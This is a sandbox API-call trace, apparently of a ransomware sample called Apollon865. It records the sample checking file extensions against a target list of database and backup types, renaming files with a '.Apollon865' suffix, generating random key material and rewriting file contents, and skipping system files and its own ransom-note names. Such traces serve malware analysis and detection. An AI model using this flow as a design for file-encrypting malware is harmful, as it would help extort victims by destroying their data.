	[0078.576] lstrlenW (lpString="abx") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.576] lstrlenW (lpString="accdb") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.576] lstrlenW (lpString="accdc") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.576] lstrlenW (lpString="accde") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.576] lstrlenW (lpString="accdr") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.576] lstrlenW (lpString="accdt") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.576] lstrlenW (lpString="accdw") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.576] lstrlenW (lpString="accft") returned 5
	[0078.576] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.576] lstrlenW (lpString="adb") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.576] lstrlenW (lpString="adb") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.576] lstrlenW (lpString="ade") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.576] lstrlenW (lpString="adf") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.576] lstrlenW (lpString="adn") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.577] lstrlenW (lpString="adp") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.577] lstrlenW (lpString="alf") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.577] lstrlenW (lpString="ask") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.577] lstrlenW (lpString="btr") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.577] lstrlenW (lpString="cat") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.577] lstrlenW (lpString="cdb") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.577] lstrlenW (lpString="ckp") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.577] lstrlenW (lpString="cma") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.577] lstrlenW (lpString="cpd") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.577] lstrlenW (lpString="dacpac") returned 6
	[0078.577] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.577] lstrlenW (lpString="dad") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.577] lstrlenW (lpString="dadiagrams") returned 10
	[0078.577] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.577] lstrlenW (lpString="daschema") returned 8
	[0078.577] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.577] lstrlenW (lpString="db-journal") returned 10
	[0078.577] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.577] lstrlenW (lpString="db-shm") returned 6
	[0078.577] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.577] lstrlenW (lpString="db-wal") returned 6
	[0078.577] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.577] lstrlenW (lpString="dbc") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.577] lstrlenW (lpString="dbs") returned 3
	[0078.577] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.578] lstrlenW (lpString="dbt") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.578] lstrlenW (lpString="dbv") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.578] lstrlenW (lpString="dbx") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.578] lstrlenW (lpString="dcb") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.578] lstrlenW (lpString="dct") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.578] lstrlenW (lpString="dcx") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.578] lstrlenW (lpString="ddl") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.578] lstrlenW (lpString="dlis") returned 4
	[0078.578] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.578] lstrlenW (lpString="dp1") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.578] lstrlenW (lpString="dqy") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.578] lstrlenW (lpString="dsk") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.578] lstrlenW (lpString="dsn") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.578] lstrlenW (lpString="dtsx") returned 4
	[0078.578] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.578] lstrlenW (lpString="dxl") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.578] lstrlenW (lpString="eco") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.578] lstrlenW (lpString="ecx") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.578] lstrlenW (lpString="edb") returned 3
	[0078.578] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.578] lstrlenW (lpString="epim") returned 4
	[0078.578] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.578] lstrlenW (lpString="fcd") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.579] lstrlenW (lpString="fdb") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.579] lstrlenW (lpString="fic") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.579] lstrlenW (lpString="flexolibrary") returned 12
	[0078.579] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.579] lstrlenW (lpString="fm5") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.579] lstrlenW (lpString="fmp") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.579] lstrlenW (lpString="fmp12") returned 5
	[0078.579] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.579] lstrlenW (lpString="fmpsl") returned 5
	[0078.579] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.579] lstrlenW (lpString="fol") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.579] lstrlenW (lpString="fp3") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.579] lstrlenW (lpString="fp4") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.579] lstrlenW (lpString="fp5") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.579] lstrlenW (lpString="fp7") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.579] lstrlenW (lpString="fpt") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.579] lstrlenW (lpString="frm") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.579] lstrlenW (lpString="gdb") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.579] lstrlenW (lpString="gdb") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.579] lstrlenW (lpString="grdb") returned 4
	[0078.579] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.579] lstrlenW (lpString="gwi") returned 3
	[0078.579] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.579] lstrlenW (lpString="hdb") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.580] lstrlenW (lpString="his") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.580] lstrlenW (lpString="ib") returned 2
	[0078.580] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.580] lstrlenW (lpString="idb") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.580] lstrlenW (lpString="ihx") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.580] lstrlenW (lpString="itdb") returned 4
	[0078.580] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.580] lstrlenW (lpString="itw") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.580] lstrlenW (lpString="jet") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.580] lstrlenW (lpString="jtx") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.580] lstrlenW (lpString="kdb") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.580] lstrlenW (lpString="kexi") returned 4
	[0078.580] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.580] lstrlenW (lpString="kexic") returned 5
	[0078.580] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.580] lstrlenW (lpString="kexis") returned 5
	[0078.580] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.580] lstrlenW (lpString="lgc") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.580] lstrlenW (lpString="lwx") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.580] lstrlenW (lpString="maf") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.580] lstrlenW (lpString="maq") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.580] lstrlenW (lpString="mar") returned 3
	[0078.580] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.580] lstrlenW (lpString="marshal") returned 7
	[0078.580] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.580] lstrlenW (lpString="mas") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.581] lstrlenW (lpString="mav") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.581] lstrlenW (lpString="maw") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.581] lstrlenW (lpString="mdbhtml") returned 7
	[0078.581] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.581] lstrlenW (lpString="mdn") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.581] lstrlenW (lpString="mdt") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.581] lstrlenW (lpString="mfd") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.581] lstrlenW (lpString="mpd") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.581] lstrlenW (lpString="mrg") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.581] lstrlenW (lpString="mud") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.581] lstrlenW (lpString="mwb") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.581] lstrlenW (lpString="myd") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.581] lstrlenW (lpString="ndf") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.581] lstrlenW (lpString="nnt") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.581] lstrlenW (lpString="nrmlib") returned 6
	[0078.581] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.581] lstrlenW (lpString="ns2") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.581] lstrlenW (lpString="ns3") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.581] lstrlenW (lpString="ns4") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.581] lstrlenW (lpString="nsf") returned 3
	[0078.581] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.582] lstrlenW (lpString="nv") returned 2
	[0078.582] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.582] lstrlenW (lpString="nv2") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.582] lstrlenW (lpString="nwdb") returned 4
	[0078.582] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.582] lstrlenW (lpString="nyf") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.582] lstrlenW (lpString="odb") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.582] lstrlenW (lpString="odb") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.582] lstrlenW (lpString="oqy") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.582] lstrlenW (lpString="ora") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.582] lstrlenW (lpString="orx") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.582] lstrlenW (lpString="owc") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.582] lstrlenW (lpString="p96") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.582] lstrlenW (lpString="p97") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.582] lstrlenW (lpString="pan") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.582] lstrlenW (lpString="pdb") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.582] lstrlenW (lpString="pdm") returned 3
	[0078.582] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.583] lstrlenW (lpString="pnz") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.583] lstrlenW (lpString="qry") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.583] lstrlenW (lpString="qvd") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.583] lstrlenW (lpString="rbf") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.583] lstrlenW (lpString="rctd") returned 4
	[0078.583] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.583] lstrlenW (lpString="rod") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.583] lstrlenW (lpString="rodx") returned 4
	[0078.583] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.583] lstrlenW (lpString="rpd") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.583] lstrlenW (lpString="rsd") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.583] lstrlenW (lpString="sas7bdat") returned 8
	[0078.583] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.583] lstrlenW (lpString="sbf") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.583] lstrlenW (lpString="scx") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.583] lstrlenW (lpString="sdb") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.583] lstrlenW (lpString="sdc") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.583] lstrlenW (lpString="sdf") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.583] lstrlenW (lpString="sis") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.583] lstrlenW (lpString="spq") returned 3
	[0078.583] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.583] lstrlenW (lpString="te") returned 2
	[0078.583] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.583] lstrlenW (lpString="teacher") returned 7
	[0078.583] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.583] lstrlenW (lpString="tmd") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.584] lstrlenW (lpString="tps") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.584] lstrlenW (lpString="trc") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.584] lstrlenW (lpString="trc") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.584] lstrlenW (lpString="trm") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.584] lstrlenW (lpString="udb") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.584] lstrlenW (lpString="udl") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.584] lstrlenW (lpString="usr") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.584] lstrlenW (lpString="v12") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.584] lstrlenW (lpString="vis") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.584] lstrlenW (lpString="vpd") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.584] lstrlenW (lpString="vvv") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.584] lstrlenW (lpString="wdb") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.584] lstrlenW (lpString="wmdb") returned 4
	[0078.584] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.584] lstrlenW (lpString="wrk") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.584] lstrlenW (lpString="xdb") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.584] lstrlenW (lpString="xld") returned 3
	[0078.584] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.584] lstrlenW (lpString="xmlff") returned 5
	[0078.584] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.584] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Apollon865") returned 66
	[0078.584] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.585] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.586] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=332) returned 1
	[0078.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.586] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.587] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.587] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.587] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0xd8
	[0078.589] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0078.590] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.590] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.590] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.591] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.591] CloseHandle (hObject=0xd8) returned 1
	[0078.591] CloseHandle (hObject=0x15c) returned 1
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.591] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="MSOIS1~1.HXN")) returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".") returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="..") returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="windows") returned -1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="temp") returned -1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.591] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="boot") returned 1
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.592] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0078.592] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 55
	[0078.592] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.OIS.14.1033.hxn" | out: lpString1="MS.OIS.14.1033.hxn") returned="MS.OIS.14.1033.hxn"
	[0078.592] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0078.592] lstrlenW (lpString="Apollon865") returned 10
	[0078.592] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.592] lstrlenW (lpString=".dll") returned 4
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".dll") returned 1
	[0078.592] lstrlenW (lpString=".lnk") returned 4
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.592] lstrlenW (lpString=".ini") returned 4
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".ini") returned 1
	[0078.592] lstrlenW (lpString=".sys") returned 4
	[0078.592] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".sys") returned 1
	[0078.592] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0078.592] lstrlenW (lpString="bak") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.592] lstrlenW (lpString="ba_") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.592] lstrlenW (lpString="dbb") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.592] lstrlenW (lpString="vmdk") returned 4
	[0078.592] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.592] lstrlenW (lpString="rar") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.592] lstrlenW (lpString="zip") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.592] lstrlenW (lpString="tgz") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.592] lstrlenW (lpString="vbox") returned 4
	[0078.592] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.592] lstrlenW (lpString="vdi") returned 3
	[0078.592] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
